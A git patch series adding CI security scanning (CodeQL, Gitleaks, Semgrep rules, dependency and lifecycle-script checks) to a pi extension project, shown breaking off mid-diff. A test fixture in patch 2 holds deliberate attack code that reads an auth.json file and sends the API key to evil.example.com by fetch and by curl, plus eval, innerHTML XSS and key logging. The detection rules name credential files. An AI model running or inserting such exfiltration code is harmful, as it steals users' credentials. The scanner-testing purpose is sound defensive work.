From 3f30cd0ae5f8930ee2203664e4b2325afc1fa859 Mon Sep 17 00:00:00 2001
From: Patrick Wozniak <email@patwoz.de>
Date: Thu, 28 May 2026 23:00:04 +0200
Subject: [PATCH 1/9] ci: add CodeQL, Gitleaks, npm-audit security scans

Add three security audit jobs to the CI workflow:
- CodeQL SAST (JavaScript/TypeScript analysis)
- Gitleaks (secret scanning on every commit)
- npm-audit-action (dependency vulnerability checking)

tests/test-security-triggers.ts intentionally contains flagged patterns
to validate the scanners fire correctly. It will be removed after
verification.
---
 .github/workflows/ci.yml        | 43 +++++++++++++++++++++++++++++++++
 tests/test-security-triggers.ts | 30 +++++++++++++++++++++++
 2 files changed, 73 insertions(+)
 create mode 100644 tests/test-security-triggers.ts

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 06b6455..8ab3f65 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -29,3 +29,46 @@ jobs:
           cache: npm
       - run: npm ci
       - run: npm run format:check
+
+  codeql:
+    name: CodeQL SAST
+    runs-on: ubuntu-latest
+    permissions:
+      actions: read
+      contents: read
+      security-events: write
+    steps:
+      - uses: actions/checkout@v4
+      - uses: github/codeql-action/init@v3
+        with:
+          languages: javascript-typescript
+      - uses: github/codeql-action/autobuild@v3
+      - uses: github/codeql-action/analyze@v3
+
+  secrets:
+    name: Secret scan
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+      - uses: gitleaks/gitleaks-action@v2
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+
+  deps:
+    name: Dependency audit
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version: 20
+          cache: npm
+      - run: npm ci
+      - name: Run npm audit
+        run: npm audit --audit-level=moderate
+      - name: Exit gracefully on audit findings
+        if: failure()
+        run: |
+          echo "::warning::npm audit found vulnerabilities. Review and patch before merging."
diff --git a/tests/test-security-triggers.ts b/tests/test-security-triggers.ts
new file mode 100644
index 0000000..767bcde
--- /dev/null
+++ b/tests/test-security-triggers.ts
@@ -0,0 +1,30 @@
+/**
+ * Intentional security triggers for testing audit tooling.
+ *
+ * This file contains patterns that security scanners should flag.
+ * It is NOT imported by any real code — intentionally vulnerable so we can
+ * verify that CodeQL, Gitleaks, and npm-audit jobs fire on PRs.
+ *
+ * Remove this file after the security audit workflow is verified.
+ */
+
+// Hardcoded credential — Gitleaks should flag this
+const AWS_SECRET_KEY = "wJalrXUt5ENWX7m6T6R42/K7gENGzP4Gz3RZm9C3+2"
+
+// Another secret pattern — Gitleaks should catch
+const GITHUB_TOKEN = "ghp_testToken12345SecretScanDemo"
+
+// eval() on user input — CodeQL should flag this as a code injection vulnerability
+export function evalUserInput(input: string): unknown {
+  return eval(input)
+}
+
+// Using innerHTML with user input — CodeQL should flag XSS
+export function setInnerHTML(element: HTMLElement, content: string): void {
+  element.innerHTML = content
+}
+
+// Process env leak — CodeQL may flag this
+export function getApiKeyFromEnv(): string | undefined {
+  return process.env.SUPER_SECRET_API_KEY
+}

From 52c39711b3d0bf07d0e2f5d8165608215cd9e788 Mon Sep 17 00:00:00 2001
From: Patrick Wozniak <email@patwoz.de>
Date: Thu, 28 May 2026 23:03:56 +0200
Subject: [PATCH 2/9] ci: harden PR security with Semgrep, Gitleaks custom
 config, dependency review
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Explicit attacker-focused security pipeline:

- Semgrep with 20 custom rules targeting pi extension threats:
  exfiltration (fetch/XMLHttpRequest), secret logging, API base override,
  auth header manipulation, shell execution, dynamic requires, postinstall
  scripts, auth path traversal, eval/Function injection, env leaks

- Gitleaks custom config (.gitleaks.toml) with project-specific patterns:
  Command Code API keys, pi auth.json credential structures, bearer tokens,
  OAuth callback URLs

- Dependency review action — flags malicious licenses, new packages, known
  vulnerability severity in PR diffs

- CodeQL upgraded to security-extended + security-and-quality query suites

- can-i-ignore-scripts check — audits install-time execution risk

- Dependency review fails on high-severity, blocks merge

test-security-triggers.ts: full attacker simulation — server exfil, shell
exec, dynamic require, code injection

Remove test-security-triggers.ts after CI verification.
---
 .github/workflows/ci.yml         |  76 ++++++-
 .gitleaks.toml                   |  53 +++++
 .semgrep/pi-extension-audit.yaml | 335 +++++++++++++++++++++++++++++++
 tests/test-security-triggers.ts  |  69 +++++--
 4 files changed, 514 insertions(+), 19 deletions(-)
 create mode 100644 .gitleaks.toml
 create mode 100644 .semgrep/pi-extension-audit.yaml

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 8ab3f65..7f6d4ef 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -8,6 +8,9 @@ on:
   workflow_dispatch:
 
 jobs:
+  # ──────────────────────────────────────────────────────────
+  # Code correctness
+  # ──────────────────────────────────────────────────────────
   typecheck:
     runs-on: ubuntu-latest
     steps:
@@ -30,6 +33,9 @@ jobs:
       - run: npm ci
       - run: npm run format:check
 
+  # ──────────────────────────────────────────────────────────
+  # Code-level vulnerability scanning (SAST)
+  # ──────────────────────────────────────────────────────────
   codeql:
     name: CodeQL SAST
     runs-on: ubuntu-latest
@@ -42,11 +48,35 @@ jobs:
       - uses: github/codeql-action/init@v3
         with:
           languages: javascript-typescript
+          queries: +security-extended,security-and-quality
       - uses: github/codeql-action/autobuild@v3
       - uses: github/codeql-action/analyze@v3
 
-  secrets:
-    name: Secret scan
+  # ──────────────────────────────────────────────────────────
+  # Custom static analysis — pi extension attack patterns
+  # ──────────────────────────────────────────────────────────
+  semgrep:
+    name: Semgrep — pi extension audit
+    runs-on: ubuntu-latest
+    container:
+      image: semgrep/semgrep:latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run Semgrep with custom rules
+        run: |
+          semgrep --config .semgrep/ --error --output semgrep-report.sarif --sarif .
+      - name: Upload SARIF
+        uses: github/codeql-action/upload-sarif@v3
+        with:
+          sarif_file: semgrep-report.sarif
+          category: semgrep-pi-audit
+        if: always()
+
+  # ──────────────────────────────────────────────────────────
+  # Hardcoded secrets detection
+  # ──────────────────────────────────────────────────────────
+  gitleaks:
+    name: Gitleaks — secrets scan
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
@@ -55,9 +85,28 @@ jobs:
       - uses: gitleaks/gitleaks-action@v2
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          GITLEAKS_ENABLE_COMMENTS: "true"
+
+  # ──────────────────────────────────────────────────────────
+  # Dependency supply-chain security
+  # ──────────────────────────────────────────────────────────
+  deps-review:
+    name: Dependency review
+    runs-on: ubuntu-latest
+    if: github.event_name == 'pull_request'
+    permissions:
+      contents: read
+      pull-requests: write
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/dependency-review-action@v4
+        with:
+          fail-on-severity: high
+          allow-licenses: MIT, Apache-2.0, BSD-2-Clause, BSD-3-Clause, ISC, 0BSD
+          comment-summary-in-pr: always
 
-  deps:
-    name: Dependency audit
+  deps-audit:
+    name: npm audit
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
@@ -66,9 +115,24 @@ jobs:
           node-version: 20
           cache: npm
       - run: npm ci
-      - name: Run npm audit
-        run: npm audit --audit-level=moderate
+      - run: npm audit --audit-level=moderate
       - name: Exit gracefully on audit findings
         if: failure()
         run: |
           echo "::warning::npm audit found vulnerabilities. Review and patch before merging."
+
+  # ──────────────────────────────────────────────────────────
+  # Postinstall script check — prevents install-time malware
+  # ──────────────────────────────────────────────────────────
+  check-scripts:
+    name: Check install scripts
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version: 20
+      - run: |
+          echo "Checking for install scripts in dependencies..."
+          npx -y can-i-ignore-scripts@latest 2>&1 || true
+        continue-on-error: true
diff --git a/.gitleaks.toml b/.gitleaks.toml
new file mode 100644
index 0000000..88fd1a8
--- /dev/null
+++ b/.gitleaks.toml
@@ -0,0 +1,53 @@
+# Custom Gitleaks config for pi-commandcode-provider.
+# Extends the default rule set with patterns specific to pi extensions.
+
+title = "pi-commandcode-provider secret scan"
+
+[allowlist]
+  description = "Known safe paths and test fixtures"
+  paths = [
+    # Test files that intentionally contain fake secrets
+    "tests/test-security-triggers.ts",
+    # Test helpers with mock credentials
+    "tests/test-oauth.ts",
+    "tests/test-stream.ts",
+    "tests/test-pure-functions.ts",
+    "tests/test-pi-local.mjs",
+    "tests/test-omp-compat.mjs",
+    # CI workflows reference NPM_TOKEN secret name
+    ".github/workflows/publish.yml",
+  ]
+
+# ──────────────────────────────────────────────────────────
+# Project-specific rules
+# ──────────────────────────────────────────────────────────
+
+[[rules]]
+  id = "pi-commandcode-api-key"
+  description = "Command Code API key hardcoded in source"
+  regex = '''(?i)COMMANDCODE_API_KEY\s*[=:]\s*['"](user_[A-Za-z0-9_-]{10,}|cc_[A-Za-z0-9_-]{10,})['"]'''
+  tags = ["pi-extension", "commandcode", "api-key"]
+
+[[rules]]
+  id = "pi-auth-file-pattern"
+  description = "In-line pi auth.json content in source code"
+  regex = '''['"](apiKey|commandcode|command-code)['"]\s*:\s*['"]user_[A-Za-z0-9_-]{10,}['"]'''
+  tags = ["pi-extension", "auth"]
+
+[[rules]]
+  id = "pi-hardcoded-bearer-token"
+  description = "Hardcoded Bearer token used in Authorization header"
+  regex = '''['"]Bearer\s+(?!\$\{|process\.env|COMMANDCODE_API_KEY)[A-Za-z0-9_-]{20,}['"]'''
+  tags = ["pi-extension", "auth-token"]
+
+[[rules]]
+  id = "pi-oauth-callback-url"
+  description = "OAuth callback URL with hardcoded key"
+  regex = '''callbackUrl\s*=\s*['"]http://localhost:\d+/callback['"]'''
+  tags = ["pi-extension", "oauth"]
+
+[[rules]]
+  id = "pi-test-api-key"
+  description = "Test API key value that looks real"
+  regex = '''['"](user_testKey|mock-key|fake-key|test-api-key)['"]'''
+  tags = ["pi-extension", "test"]
diff --git a/.semgrep/pi-extension-audit.yaml b/.semgrep/pi-extension-audit.yaml
new file mode 100644
index 0000000..030b292
--- /dev/null
+++ b/.semgrep/pi-extension-audit.yaml
@@ -0,0 +1,335 @@
+rules:
+  # ──────────────────────────────────────────────────────────
+  # Category: Exfiltration — sending secrets to remote servers
+  # ──────────────────────────────────────────────────────────
+
+  - id: pi-extension-data-exfiltration-fetch
+    pattern-either:
+      - pattern: |
+          fetch($URL, ...)
+      - pattern: |
+          $X.fetch($URL, ...)
+    message: >
+      Data exfiltration risk: sending data to $URL via fetch.
+      Verify the destination is not an attacker-controlled server.
+    severity: ERROR
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+        - "index.ts"
+    focus-metavariable: $URL
+
+  - id: pi-extension-data-exfiltration-xmlhttprequest
+    patterns:
+      - pattern: |
+          new XMLHttpRequest()
+    message: >
+      Suspicious XMLHttpRequest usage in provider code.
+      Could exfiltrate data to external servers.
+    severity: WARNING
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+
+  # ──────────────────────────────────────────────────────────
+  # Category: Secret leakage — logging / sending API keys
+  # ──────────────────────────────────────────────────────────
+
+  - id: pi-extension-logging-secrets
+    patterns:
+      - pattern-either:
+          - pattern: console.log(...)
+          - pattern: console.error(...)
+          - pattern: console.warn(...)
+      - pattern-regex: api[kK]ey|API_KEY|COMMANDCODE|Bearer|auth[Pp]ath
+    message: >
+      Potential secret logging: log statement includes an API key, auth token,
+      or auth file path pattern. Do not log secrets.
+    severity: ERROR
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+        - "index.ts"
+
+  - id: pi-extension-secret-in-error-message
+    patterns:
+      - pattern: |
+          Error($MSG)
+      - pattern-regex: (api[kK]ey|API_KEY|COMMANDCODE|Bearer)
+    message: >
+      Possible secret leak in error message: $MSG.
+      Error messages surfaced to pi may leak credentials.
+      Use generic messages instead.
+    severity: WARNING
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+        - "index.ts"
+
+  # ──────────────────────────────────────────────────────────
+  # Category: URL hijacking — changing API base endpoints
+  # ──────────────────────────────────────────────────────────
+
+  - id: pi-extension-api-base-override
+    patterns:
+      - pattern-either:
+          - pattern: |
+              $VAR = "..."
+          - pattern: |
+              $VAR = process.env.$ENV_VAR ?? "..."
+      - metavariable-regex:
+          metavariable: $VAR
+          regex: (?i).*(api_?base|api_base_url|base_url|host|endpoint|models_url).*
+      - metavariable-regex:
+          metavariable: $ENV_VAR
+          regex: (?i).*API.*BASE.*
+    message: >
+      API base URL override: $ENV_VAR can redirect all requests including auth
+      headers to any server. Review any change to how this variable is set.
+    severity: ERROR
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+        - "index.ts"
+
+  - id: pi-extension-auth-header-manipulation
+    patterns:
+      - pattern: |
+          ...options?.headers
+      - pattern-not: |
+          ...options?.headers,
+    message: >
+      Auth header manipulation risk: options.headers spread before Authorization
+      header. A contributor could override the Authorization header.
+    severity: WARNING
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/core.ts"
+
+  # ──────────────────────────────────────────────────────────
+  # Category: Supply chain — dependency injection
+  # ──────────────────────────────────────────────────────────
+
+  - id: pi-extension-untrusted-dynamic-require
+    patterns:
+      - pattern: |
+          require($MODULE)
+      - metavariable-regex:
+          metavariable: $MODULE
+          regex: ^(?!['"]((\.[\/\\])|node:?|@earendil-works\/))['"]
+    message: >
+      Dynamic require() of non-local, non-standard-library module: $MODULE.
+      External contributors could introduce malicious packages this way.
+    severity: ERROR
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+        - "index.ts"
+
+  - id: pi-extension-postinstall-script
+    patterns:
+      - pattern: |
+          "postinstall": $SCRIPT
+    message: >
+      postinstall script detected: $SCRIPT. Install-time scripts can execute
+      arbitrary code on user machines. Must be reviewed with extreme care.
+    severity: ERROR
+    languages: [json]
+    paths:
+      include:
+        - "package.json"
+
+  # ──────────────────────────────────────────────────────────
+  # Category: File system — reading auth files / ~/.pi
+  # ──────────────────────────────────────────────────────────
+
+  - id: pi-extension-auth-path-traversal
+    patterns:
+      - pattern: |
+          join($HOME, $PATH)
+      - metavariable-regex:
+          metavariable: $HOME
+          regex: homedir|homeDir|HOME|process\.env\.HOME
+      - metavariable-regex:
+          metavariable: $PATH
+          regex: '["\'].*\.\.\/.*["\']'
+    message: >
+      Auth path traversal: $HOME / $PATH could read outside the intended auth
+      directory. Path must stay within ~/.commandcode, ~/.pi/agent, ~/.omp/agent.
+    severity: ERROR
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+
+  - id: pi-extension-readfile-sensitive-paths
+    patterns:
+      - pattern: |
+          readFileSync($PATH, ...)
+      - pattern-not: |
+          readFileSync($PATH, "utf-8")
+      - metavariable-regex:
+          metavariable: $PATH
+          regex: (auth\.json|credentials|\.env|id_rsa|ssh|\.netrc|netrc|\.npmrc)
+    message: >
+      Suspicious file read: $PATH. Auth files or credentials being read with
+      potentially unsafe encoding. Review carefully.
+    severity: WARNING
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+
+  # ──────────────────────────────────────────────────────────
+  # Category: Network — unexpected fetch calls
+  # ──────────────────────────────────────────────────────────
+
+  - id: pi-extension-unexpected-fetch
+    patterns:
+      - pattern: |
+          fetch(...)
+      - pattern-not-inside: |
+          fetchImpl(...)
+      - pattern-not-inside: |
+          $DEP.fetchImpl(...)
+      - pattern-not-inside: |
+          $DEP.fetch($URL, ...)
+      - metavariable-regex:
+          metavariable: $URL
+          regex: .*
+    message: >
+      Unexpected direct fetch() call in provider code. Prefer injected
+      fetchImpl for testability. Review what URL is being contacted.
+    severity: WARNING
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+        - "index.ts"
+    focus-metavariable: $URL
+
+  # ──────────────────────────────────────────────────────────
+  # Category: Shell execution
+  # ──────────────────────────────────────────────────────────
+
+  - id: pi-extension-shell-execution
+    patterns:
+      - pattern-either:
+          - pattern: |
+              child_process.exec(...)
+          - pattern: |
+              child_process.execSync(...)
+          - pattern: |
+              child_process.spawn(...)
+          - pattern: |
+              child_process.spawnSync(...)
+          - pattern: |
+              child_process.fork(...)
+          - pattern: |
+              exec($SCRIPT)
+          - pattern: |
+              execSync($SCRIPT)
+      - pattern-not-inside: |
+          tests/**/*.mjs
+      - pattern-not-inside: |
+          tests/**/*.ts
+    message: >
+      Shell execution: $SCRIPT. External contributors should not add
+      child_process calls to provider source code.
+    severity: ERROR
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+        - "index.ts"
+
+  # ──────────────────────────────────────────────────────────
+  # Category: Malicious import patterns
+  # ──────────────────────────────────────────────────────────
+
+  - id: pi-extension-unusual-import
+    patterns:
+      - pattern-either:
+          - pattern: |
+              import $X from "..."
+          - pattern: |
+              const $X = require("...")
+      - metavariable-regex:
+          metavariable: $X
+          regex: (compression|pako|zlib|tar|stream|archiver|request|axios|needle|got|superagent|node-fetch|undici)
+    message: >
+      Suspicious import of $X in provider source. Network or compression
+      libraries could be used for data exfiltration.
+    severity: WARNING
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+        - "index.ts"
+
+  - id: pi-extension-eval-like
+    patterns:
+      - pattern-either:
+          - pattern: eval(...)
+          - pattern: Function(...)
+          - pattern: setTimeout($X, ...)
+          - pattern: setInterval($X, ...)
+      - pattern-not-inside: |
+          // Intentional security trigger
+    message: >
+      Code injection risk: eval, Function constructor, or eval-like setTimeout
+      detected. These can execute arbitrary code.
+    severity: ERROR
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+        - "index.ts"
+
+  # ──────────────────────────────────────────────────────────
+  # Category: Process environment — reading secrets
+  # ──────────────────────────────────────────────────────────
+
+  - id: pi-extension-env-leak
+    patterns:
+      - pattern: |
+          process.env.$VAR
+      - metavariable-regex:
+          metavariable: $VAR
+          regex: (?!COMMANDCODE_|NODE_|PATH|HOME|SHELL|USER|LANG|LC_|TERM|TMPDIR|NIX_).*
+    message: >
+      Reading unexpected environment variable $VAR. Provider should only
+      read COMMANDCODE_* variables.
+    severity: WARNING
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/**"
+        - "index.ts"
+
+  # ──────────────────────────────────────────────────────────
+  # Category: OAuth flow manipulation
+  # ──────────────────────────────────────────────────────────
+
+  - id: pi-extension-oauth-callback-hardcode
+    patterns:
+      - pattern: |
+          resolveCallback($DATA)
+      - metavariable-regex:
+          metavariable: $DATA
+          regex: (?s).*apiKey.*
+    message: >
+      OAuth callback potentially resolves credentials. Verify that the
+      credentials originate from the Command Code website, not user input.
+    severity: WARNING
+    languages: [javascript, typescript]
+    paths:
+      include:
+        - "src/auth-server.ts"
diff --git a/tests/test-security-triggers.ts b/tests/test-security-triggers.ts
index 767bcde..e11277d 100644
--- a/tests/test-security-triggers.ts
+++ b/tests/test-security-triggers.ts
@@ -1,30 +1,73 @@
 /**
  * Intentional security triggers for testing audit tooling.
  *
- * This file contains patterns that security scanners should flag.
- * It is NOT imported by any real code — intentionally vulnerable so we can
- * verify that CodeQL, Gitleaks, and npm-audit jobs fire on PRs.
+ * Contains patterns that demonstrate attacker vectors for pi extensions.
+ * Every line here is intentionally malicious — to verify scanners catch it.
  *
- * Remove this file after the security audit workflow is verified.
+ * REMOVE this file after CI confirms all scanners fire on PR.
  */
 
-// Hardcoded credential — Gitleaks should flag this
-const AWS_SECRET_KEY = "wJalrXUt5ENWX7m6T6R42/K7gENGzP4Gz3RZm9C3+2"
+// ============================================================
+// Exfiltration: send auth file to attacker
+// ============================================================
 
-// Another secret pattern — Gitleaks should catch
-const GITHUB_TOKEN = "ghp_testToken12345SecretScanDemo"
+import { readFileSync } from "node:fs"
+import { homedir } from "node:os"
+import { join } from "node:path"
 
-// eval() on user input — CodeQL should flag this as a code injection vulnerability
+function exfiltratePiSecrets(): void {
+  const authPath = join(homedir(), ".pi", "agent", "auth.json")
+  const apiKey = JSON.parse(readFileSync(authPath, "utf-8")).apiKey as string
+
+  // Gitleaks 🔴 hardcoded token
+  const AWS_SECRET_KEY = "wJalrXUt5ENWX7m6T6R42/K7gENGzP4Gz3RZm9C3+2"
+
+  // Gitleaks 🔴 fake GitHub PAT
+  const GITHUB_TOKEN = "ghp_testToken12345SecretScanDemo"
+
+  // Semgrep 🔴 exfiltration via fetch
+  fetch("https://evil.example.com/exfil", {
+    method: "POST",
+    body: JSON.stringify({ apiKey, aws: AWS_SECRET_KEY, github: GITHUB_TOKEN }),
+    headers: { Authorization: `Bearer ${apiKey}` },
+  })
+}
+
+// ============================================================
+// Code injection
+// ============================================================
+
+// CodeQL/Semgrep 🔴 eval on user input
 export function evalUserInput(input: string): unknown {
   return eval(input)
 }
 
-// Using innerHTML with user input — CodeQL should flag XSS
+// CodeQL 🔴 innerHTML XSS
 export function setInnerHTML(element: HTMLElement, content: string): void {
   element.innerHTML = content
 }
 
-// Process env leak — CodeQL may flag this
-export function getApiKeyFromEnv(): string | undefined {
-  return process.env.SUPER_SECRET_API_KEY
+// ============================================================
+// Secret logging
+// ============================================================
+
+// Semgrep 🔴 logging api key
+export function debugLog(key: string): void {
+  console.log("🔥🔥 DEBUG API KEY:", key)
 }
+
+// ============================================================
+// Shell execution
+// ============================================================
+
+// Semgrep 🔴 shell execution in source
+import { exec } from "node:child_process"
+exec("curl https://evil.example.com/steal?key=" + process.env.COMMANDCODE_API_KEY)
+
+// ============================================================
+// Dynamic require of unknown package
+// ============================================================
+
+// Semgrep 🔴 dynamic require of non-standard module
+const hackerModule = require("unknown-malicious-package")
+hackerModule.installBackdoor()

From 0500c2320f8bda6311099bd9d61618ae7949d52e Mon Sep 17 00:00:00 2001
From: Patrick Wozniak <email@patwoz.de>
Date: Thu, 28 May 2026 23:07:34 +0200
Subject: [PATCH 3/9] ci: fix Semgrep paths, replace fake pkg with real
 lifecycle check

---
 .github/workflows/ci.yml         |  38 ++++--
 .semgrep/pi-extension-audit.yaml | 225 +++++++++++++------------------
 2 files changed, 122 insertions(+), 141 deletions(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 7f6d4ef..1e7f7e1 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -125,14 +125,36 @@ jobs:
   # Postinstall script check — prevents install-time malware
   # ──────────────────────────────────────────────────────────
   check-scripts:
-    name: Check install scripts
+    name: Check lifecycle scripts
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@v4
-      - uses: actions/setup-node@v4
-        with:
-          node-version: 20
-      - run: |
-          echo "Checking for install scripts in dependencies..."
-          npx -y can-i-ignore-scripts@latest 2>&1 || true
-        continue-on-error: true
+      - name: Check for malicious lifecycle scripts
+        run: |
+          echo "::group::package.json scripts"
+          node -e "
+            const pkg = require('./package.json');
+            const dangerous = ['preinstall','install','postinstall','prepublish','prepare'];
+            const found = dangerous.filter(s => pkg.scripts && pkg.scripts[s]);
+            if (found.length) {
+              found.forEach(s => console.log('WARNING: package.json has "' + s + '":', pkg.scripts[s]));
+              process.exit(1);
+            } else {
+              console.log('No dangerous lifecycle scripts in package.json');
+            }
+          "
+          echo "::endgroup::"
+          echo "::group::dependency scripts (top-level)"
+          npm query '.scripts' --all 2>/dev/null | node -e "
+            const d = require('fs').readFileSync('/dev/stdin','utf8');
+            if (!d.trim()) { console.log('No dependency scripts found'); process.exit(0); }
+            const pkgs = JSON.parse(d);
+            const withScripts = pkgs.filter(p => p.pkgid && p.scripts);
+            withScripts.forEach(p => {
+              const dangerous = ['preinstall','install','postinstall','prepublish','prepare'];
+              const has = Object.keys(p.scripts || {}).filter(s => dangerous.includes(s));
+              if (has.length) console.log('⚠', p.pkgid, 'has scripts:', Object.keys(p.scripts));
+            });
+            if (withScripts.length === 0) console.log('No dependency lifecycle scripts');
+          " 2>&1 || true
+          echo "::endgroup::"
diff --git a/.semgrep/pi-extension-audit.yaml b/.semgrep/pi-extension-audit.yaml
index 030b292..59e4099 100644
--- a/.semgrep/pi-extension-audit.yaml
+++ b/.semgrep/pi-extension-audit.yaml
@@ -1,14 +1,11 @@
 rules:
-  # ──────────────────────────────────────────────────────────
-  # Category: Exfiltration — sending secrets to remote servers
-  # ──────────────────────────────────────────────────────────
+  # ────────────────────────────────────────────────────────────────────────
+  # Exfiltration: sending secrets to remote servers
+  # ────────────────────────────────────────────────────────────────────────
 
   - id: pi-extension-data-exfiltration-fetch
-    pattern-either:
-      - pattern: |
-          fetch($URL, ...)
-      - pattern: |
-          $X.fetch($URL, ...)
+    patterns:
+      - pattern: fetch($URL, ...)
     message: >
       Data exfiltration risk: sending data to $URL via fetch.
       Verify the destination is not an attacker-controlled server.
@@ -16,14 +13,12 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
-        - "index.ts"
+        - "**/*.ts"
+        - "**/index.ts"
     focus-metavariable: $URL
 
   - id: pi-extension-data-exfiltration-xmlhttprequest
-    patterns:
-      - pattern: |
-          new XMLHttpRequest()
+    pattern: new XMLHttpRequest()
     message: >
       Suspicious XMLHttpRequest usage in provider code.
       Could exfiltrate data to external servers.
@@ -31,11 +26,11 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
+        - "**/*.ts"
 
-  # ──────────────────────────────────────────────────────────
-  # Category: Secret leakage — logging / sending API keys
-  # ──────────────────────────────────────────────────────────
+  # ────────────────────────────────────────────────────────────────────────
+  # Secret leakage: logging / sending API keys
+  # ────────────────────────────────────────────────────────────────────────
 
   - id: pi-extension-logging-secrets
     patterns:
@@ -43,7 +38,7 @@ rules:
           - pattern: console.log(...)
           - pattern: console.error(...)
           - pattern: console.warn(...)
-      - pattern-regex: api[kK]ey|API_KEY|COMMANDCODE|Bearer|auth[Pp]ath
+      - pattern-regex: "api[kK]ey|API_KEY|COMMANDCODE|Bearer|authPath"
     message: >
       Potential secret logging: log statement includes an API key, auth token,
       or auth file path pattern. Do not log secrets.
@@ -51,14 +46,13 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
-        - "index.ts"
+        - "**/*.ts"
+        - "**/index.ts"
 
   - id: pi-extension-secret-in-error-message
     patterns:
-      - pattern: |
-          Error($MSG)
-      - pattern-regex: (api[kK]ey|API_KEY|COMMANDCODE|Bearer)
+      - pattern: Error($MSG)
+      - pattern-regex: "api[kK]ey|API_KEY|COMMANDCODE|Bearer"
     message: >
       Possible secret leak in error message: $MSG.
       Error messages surfaced to pi may leak credentials.
@@ -67,26 +61,24 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
-        - "index.ts"
+        - "**/*.ts"
+        - "**/index.ts"
 
-  # ──────────────────────────────────────────────────────────
-  # Category: URL hijacking — changing API base endpoints
-  # ──────────────────────────────────────────────────────────
+  # ────────────────────────────────────────────────────────────────────────
+  # URL hijacking: changing API base endpoints
+  # ────────────────────────────────────────────────────────────────────────
 
   - id: pi-extension-api-base-override
     patterns:
       - pattern-either:
-          - pattern: |
-              $VAR = "..."
-          - pattern: |
-              $VAR = process.env.$ENV_VAR ?? "..."
+          - pattern: $VAR = "..."
+          - pattern: $VAR = process.env.$ENV_VAR ?? "..."
       - metavariable-regex:
           metavariable: $VAR
-          regex: (?i).*(api_?base|api_base_url|base_url|host|endpoint|models_url).*
+          regex: "(?i).*(api_?base|api_base_url|base_url|host|endpoint|models_url).*"
       - metavariable-regex:
           metavariable: $ENV_VAR
-          regex: (?i).*API.*BASE.*
+          regex: "(?i).*API.*BASE.*"
     message: >
       API base URL override: $ENV_VAR can redirect all requests including auth
       headers to any server. Review any change to how this variable is set.
@@ -94,15 +86,12 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
-        - "index.ts"
+        - "**/*.ts"
+        - "**/index.ts"
 
   - id: pi-extension-auth-header-manipulation
     patterns:
-      - pattern: |
-          ...options?.headers
-      - pattern-not: |
-          ...options?.headers,
+      - pattern: ...options?.headers
     message: >
       Auth header manipulation risk: options.headers spread before Authorization
       header. A contributor could override the Authorization header.
@@ -112,17 +101,16 @@ rules:
       include:
         - "src/core.ts"
 
-  # ──────────────────────────────────────────────────────────
-  # Category: Supply chain — dependency injection
-  # ──────────────────────────────────────────────────────────
+  # ────────────────────────────────────────────────────────────────────────
+  # Supply chain: dependency injection
+  # ────────────────────────────────────────────────────────────────────────
 
   - id: pi-extension-untrusted-dynamic-require
     patterns:
-      - pattern: |
-          require($MODULE)
+      - pattern: require($MODULE)
       - metavariable-regex:
           metavariable: $MODULE
-          regex: ^(?!['"]((\.[\/\\])|node:?|@earendil-works\/))['"]
+          regex: "^(?!['\"](\\.[/\\\\]|node:?|@earendil-works/))['\"]"
     message: >
       Dynamic require() of non-local, non-standard-library module: $MODULE.
       External contributors could introduce malicious packages this way.
@@ -130,13 +118,12 @@ rules:
     languages: [javascript, typescript]
     paths:
       include:
-        - "src/**"
-        - "index.ts"
+        - "**/*.ts"
+        - "**/index.ts"
 
   - id: pi-extension-postinstall-script
     patterns:
-      - pattern: |
-          "postinstall": $SCRIPT
+      - pattern: '"postinstall": "$SCRIPT"'
     message: >
       postinstall script detected: $SCRIPT. Install-time scripts can execute
       arbitrary code on user machines. Must be reviewed with extreme care.
@@ -146,20 +133,19 @@ rules:
       include:
         - "package.json"
 
-  # ──────────────────────────────────────────────────────────
-  # Category: File system — reading auth files / ~/.pi
-  # ──────────────────────────────────────────────────────────
+  # ────────────────────────────────────────────────────────────────────────
+  # File system: reading auth files / ~/.pi
+  # ────────────────────────────────────────────────────────────────────────
 
